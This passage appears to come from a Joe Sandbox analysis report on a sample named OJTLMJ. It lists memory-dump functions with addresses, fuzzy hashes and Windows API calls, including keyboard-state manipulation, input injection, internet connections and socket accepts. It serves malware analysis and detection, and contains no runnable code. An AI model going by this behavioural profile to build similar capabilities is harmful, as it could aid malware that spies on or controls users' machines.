Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 7e9b75399d80be10e5a28efb09aeafa1835698b16d313a78dcb4361a05215335
Instruction ID: adbf3bcb3e75745e7d698183c1b0acad17926d6e1050f9a1f1aeb76368a0fd55
Opcode Fuzzy Hash: 7e9b75399d80be10e5a28efb09aeafa1835698b16d313a78dcb4361a05215335
Instruction Fuzzy Hash: C2B180756043018FC714DF28C48096ABBE5EF8A754F18896EF889DB352DB31ED45CBA2

Function 00D9AF26 Relevance: 6.3, APIs: 4, Instructions: 268COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00D9AF56
CoUninitialize.OLE32 ref: 00D9AF61

Part of subcall function 00D81050: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00D810B8

VariantInit.OLEAUT32(?), ref: 00D9AF6C
VariantClear.OLEAUT32(?), ref: 00D9B23F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 541fba01f3ae49e4a0a23f57d65a9f49c3efa154d668946a8f162c1a664d8416
Instruction ID: c507e4625f4afff96e95bf673ac9e8bdec687758fa8463ac5bf5aab31adb337f
Opcode Fuzzy Hash: 541fba01f3ae49e4a0a23f57d65a9f49c3efa154d668946a8f162c1a664d8416
Instruction Fuzzy Hash: 72A125356047019FCB10DF14C991B2AB7E5FF89360F058459F99AAB3A1DB30ED44CBA6

Function 00D4C320 Relevance: 6.3, APIs: 4, Instructions: 259fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D4C419
ReadFile.KERNEL32(?,?,00010000,?,00000000,?,?,00000000,?,00D86653,?,?,00000000), ref: 00D4C495

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: FileRead_memmove
String ID:
API String ID: 1325644223-0
Opcode ID: 33e03760b97f91a24a0974aadedc927b1a322caf76254592d23d6315a9de88f2
Instruction ID: f154adbbd480c68fcdfbe5c568d218d457dba4191467651c7707de3c46054891
Opcode Fuzzy Hash: 33e03760b97f91a24a0974aadedc927b1a322caf76254592d23d6315a9de88f2
Instruction Fuzzy Hash: 12A1AD70A04605EBDF40CF59C984BA9FBB0FF05300F18C195E8A9DA296D735E960CBB1

Function 00D79F7C Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D79F8D
SysAllocString.OLEAUT32(?), ref: 00D7A036
VariantCopy.OLEAUT32 ref: 00D7A065
VariantClear.OLEAUT32(?), ref: 00D7A08C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 207bd3489ccb9cab2dd6360ed7978aace5c7df2ee23fc256ce8077a15b6d0d45
Instruction ID: ee225222ca782d3e66571e081eb83f13522808fe801fbc8aca8ba63b9c94fe5b
Opcode Fuzzy Hash: 207bd3489ccb9cab2dd6360ed7978aace5c7df2ee23fc256ce8077a15b6d0d45
Instruction Fuzzy Hash: CA5176316403029BEB249F6DD89562DB3A5EF85310F64D81FE98EDB2A1FA70DC408732

Function 00D642EB Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D64347
_memcpy_s.LIBCMT ref: 00D643B9
__filbuf.LIBCMT ref: 00D6443A
_memset.LIBCMT ref: 00D6447E

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit_memcpy_s
String ID:
API String ID: 3877424927-0
Opcode ID: e32231b6dc630e7bc50233d96a8fcff1e19409cefeea7d324ce0ed3258b5a775
Instruction ID: 9e3771f5737e3cc1294a5173aaa968c70f57cb766b0767c1448ecf850b9b0896
Opcode Fuzzy Hash: e32231b6dc630e7bc50233d96a8fcff1e19409cefeea7d324ce0ed3258b5a775
Instruction Fuzzy Hash: CA51A030A00705DBDB249FA988816AE7BA5EF41320F288729F875972D0DBB1ED519B70

Function 00DAC2E7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00DAC354
ScreenToClient.USER32(?,00000002), ref: 00DAC384
MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 00DAC3EA

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: ff43de6ef4503275d9671065c33ffd767e94f13bfb3da27bdf211fa944d9079d
Instruction ID: a52f40361d54178aac70459be8b613200f4a34e16b101940ea5118ce348132f1
Opcode Fuzzy Hash: ff43de6ef4503275d9671065c33ffd767e94f13bfb3da27bdf211fa944d9079d
Instruction Fuzzy Hash: CE517E31910209EFCF10DF68C980AAE7BB6FB4A320F149559F8159B290D770ED81CBA0

Function 00D7D206 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00D7D258
__itow.LIBCMT ref: 00D7D292

Part of subcall function 00D7D4DE: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00D7D549

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00D7D2FB
__itow.LIBCMT ref: 00D7D350

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 9c9af4c83c7a78e6c303afa835bcb8d984a35975e9adaf3901890097fb3f4229
Instruction ID: 82ab3a41e646212fd8d3b19ab0a177e90517fb4fd8d167b0bf4844a3feafad14
Opcode Fuzzy Hash: 9c9af4c83c7a78e6c303afa835bcb8d984a35975e9adaf3901890097fb3f4229
Instruction Fuzzy Hash: 2241A271A00609AFDF15DF54C842FEE7BBAEF49700F044019FA09A3292EB759A45CB76

Function 00D8EE88 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00D8EF32
GetLastError.KERNEL32(?,00000000), ref: 00D8EF58
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00D8EF7D
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00D8EFA9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: c4f2f4eb00656702f1a402e367bec7fdd564b9c5cc6628ec4fde07afc229ec4a
Instruction ID: 7257912685f5676fc13f5a2874cadb8331087630f8a136204056a7487063c40d
Opcode Fuzzy Hash: c4f2f4eb00656702f1a402e367bec7fdd564b9c5cc6628ec4fde07afc229ec4a
Instruction Fuzzy Hash: 3F411739600611DFCB11EF15C944A5DBBE6EF89360B198098ED4AAF362DB30FD40DBA1

Function 00DAB354 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00DAB3E1

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 1bab5727df4b38f7f92537553022b381c1c28b68776cfda8428ca4c8569c0b63
Instruction ID: e1fc5fd57482ff1098bde23ecb9f8581d278d47e6f7c68f4b0ede53c80f32285
Opcode Fuzzy Hash: 1bab5727df4b38f7f92537553022b381c1c28b68776cfda8428ca4c8569c0b63
Instruction Fuzzy Hash: 2231A334600205EFEF249B58CC95FA83765EB0B374F188513FA91D62A3C7B5D9829B71

Function 00DAD5EE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00DAD617
GetWindowRect.USER32(?,?), ref: 00DAD68D
PtInRect.USER32(?,?,00DAEB2C), ref: 00DAD69D
MessageBeep.USER32(00000000), ref: 00DAD70E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 99af4c92d755eb9253496da9bca7dee847751121db40cc47262f860e47086a3d
Instruction ID: 567cb39c1b4ed471a3e3ba8757169e0d90a49b518d37385d7c29e88f0048171e
Opcode Fuzzy Hash: 99af4c92d755eb9253496da9bca7dee847751121db40cc47262f860e47086a3d
Instruction Fuzzy Hash: 51416A31A00219DFCB15CF59D880BA97BF6BB4A300F1881AAE45A9F651D731E945CB60

Function 00D84497 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00D844EE
SetKeyboardState.USER32(00000080,?,00008000), ref: 00D8450A
PostMessageW.USER32(00000000,00000101,00000000,?), ref: 00D8456A
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00D845C8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 357d8df5e9022b9bae70048f590935e7f0a857f48c8367db2580163c38863f8c
Instruction ID: b1e30d410fe6c3b0e5ef3deefc7033ee33450bbb390fac288c9d8cf1411da29e
Opcode Fuzzy Hash: 357d8df5e9022b9bae70048f590935e7f0a857f48c8367db2580163c38863f8c
Instruction Fuzzy Hash: D331E7B190425A6FEF34AB649808BFE7BB59B46714F0801AAF4C5922C1C774DA44D771

Function 00D74DB4 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00D74DE8
__isleadbyte_l.LIBCMT ref: 00D74E16
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00D74E44
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00D74E7A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 90f7f123bfe63a15d0c360d419b5c13cb09b3ae72d5020dae9d2c73e46e79c71
Instruction ID: 6bb5880d9803533787805209fcbee8354b4801578c85044dd767400d21442894
Opcode Fuzzy Hash: 90f7f123bfe63a15d0c360d419b5c13cb09b3ae72d5020dae9d2c73e46e79c71
Instruction Fuzzy Hash: D6316E31600256AFDF229E75CC45BBA7BAAFF41320F198529F869871A0F730D851DBB1

Function 00DA7AA2 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00DA7AB6

Part of subcall function 00D869C9: GetWindowThreadProcessId.USER32(?,00000000), ref: 00D869E3
Part of subcall function 00D869C9: GetCurrentThreadId.KERNEL32 ref: 00D869EA
Part of subcall function 00D869C9: AttachThreadInput.USER32(00000000,?,00D88127), ref: 00D869F1

GetCaretPos.USER32(?), ref: 00DA7AC7
ClientToScreen.USER32(00000000,?), ref: 00DA7B00
GetForegroundWindow.USER32 ref: 00DA7B06

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 9d89d71dc34f40b5f6ea42abdb169c2b441fd8e6c37cfb8b4aa9d16ac0f1e674
Instruction ID: d92adc7fa90bd2ff07c031ba37a5e1b316734b4d7a6a784578bb33f7941e6f31
Opcode Fuzzy Hash: 9d89d71dc34f40b5f6ea42abdb169c2b441fd8e6c37cfb8b4aa9d16ac0f1e674
Instruction Fuzzy Hash: 04310371D00109AFDB00EFB5DC859EFBBF9EF55314B10806AE816E7251EA359E098BB0

Function 00DAEFA8 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

GetCursorPos.USER32(?), ref: 00DAEFE2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00DBF3C3,?,?,?,?,?), ref: 00DAEFF7
GetCursorPos.USER32(?), ref: 00DAF041
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00DBF3C3,?,?,?), ref: 00DAF077

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: f5ec4385a999764de10626f62d9786ac026d4ab4ddfd7eef8edaee7a2fd932a5
Instruction ID: 59423673254634cd8150317212ca28234092ee4a2df20733bdde31e338c098ab
Opcode Fuzzy Hash: f5ec4385a999764de10626f62d9786ac026d4ab4ddfd7eef8edaee7a2fd932a5
Instruction Fuzzy Hash: C621B135500118AFCB258F95CC99EEA7BB5EF4A750F0840A9F9059B2A2C3719D51DBB0

Function 00D9497B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00D949B7

Part of subcall function 00D94A41: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00D94A60
Part of subcall function 00D94A41: InternetCloseHandle.WININET(00000000), ref: 00D94AFD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 398c0a8dbc33f79f757f96b395b4c65c39188613f1c2de029c2af11e84efbf7f
Instruction ID: 446dc9dac0985a6c175b91eabc633d9f4ef57f570e00b64b40449ffc1e5448a6
Opcode Fuzzy Hash: 398c0a8dbc33f79f757f96b395b4c65c39188613f1c2de029c2af11e84efbf7f
Instruction Fuzzy Hash: CD21F231240702BBDF129F608C00FBBB7AAFB48705F14411EFA4696251EB31D812ABB4

Function 00DA8834 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00DA88A3
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00DA88BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00DA88CB
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00DA88D9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: d9144055c5897280c4dbfa70948c0be4ea7f4868a71afb5350cab86f810e06df
Instruction ID: 0b7ee8b1f1ad467541b0aba794fc0d2a32b9ac386a827d5443bfb7c1992a51fa
Opcode Fuzzy Hash: d9144055c5897280c4dbfa70948c0be4ea7f4868a71afb5350cab86f810e06df
Instruction Fuzzy Hash: 6C118131745115AFDB14AB28DC05FAA7BAAEF86321F144119F916C72E1DF74AC00DBB0

Function 00D9900C Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 00D9906D
__WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00D9907F
accept.WSOCK32(00000000,00000000,00000000), ref: 00D9908C
WSAGetLastError.WSOCK32(00000000), ref: 00D990A3

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: bac445a213da84b8c8b0f50f417167674c1ef03c0788fe9953c1b718f797bffa
Instruction ID: df90c982621d64af9d2e36850a1d9bf4b00618288d909108f427a25dc2775f09
Opcode Fuzzy Hash: bac445a213da84b8c8b0f50f417167674c1ef03c0788fe9953c1b718f797bffa
Instruction Fuzzy Hash: 08216271900225AFCB109F69CC95A9EBBFCEF49750F04816AF84AD7290DA749A458BB0

Function 00D818E8 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D82CAA: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00D818FD,?,?,?,00D826BC,00000000,000000EF,00000119,?,?), ref: 00D82CB9
Part of subcall function 00D82CAA: lstrcpyW.KERNEL32(00000000,?,?,00D818FD,?,?,?,00D826BC,00000000,000000EF,00000119,?,?,00000000), ref: 00D82CDF
Part of subcall function 00D82CAA: lstrcmpiW.KERNEL32(00000000,?,00D818FD,?,?,?,00D826BC,00000000,000000EF,00000119,?,?), ref: 00D82D10

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00D826BC,00000000,000000EF,00000119,?,?,00000000), ref: 00D81916
lstrcpyW.KERNEL32(00000000,?,?,00D826BC,00000000,000000EF,00000119,?,?,00000000), ref: 00D8193C
lstrcmpiW.KERNEL32(00000002,cdecl,?,00D826BC,00000000,000000EF,00000119,?,?,00000000), ref: 00D81970

Strings

cdecl, xrefs: 00D81967

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 44e9006019cb1254206dfcb470b58a274d92d53a736d15aec8cbcf1b62e3d7ae
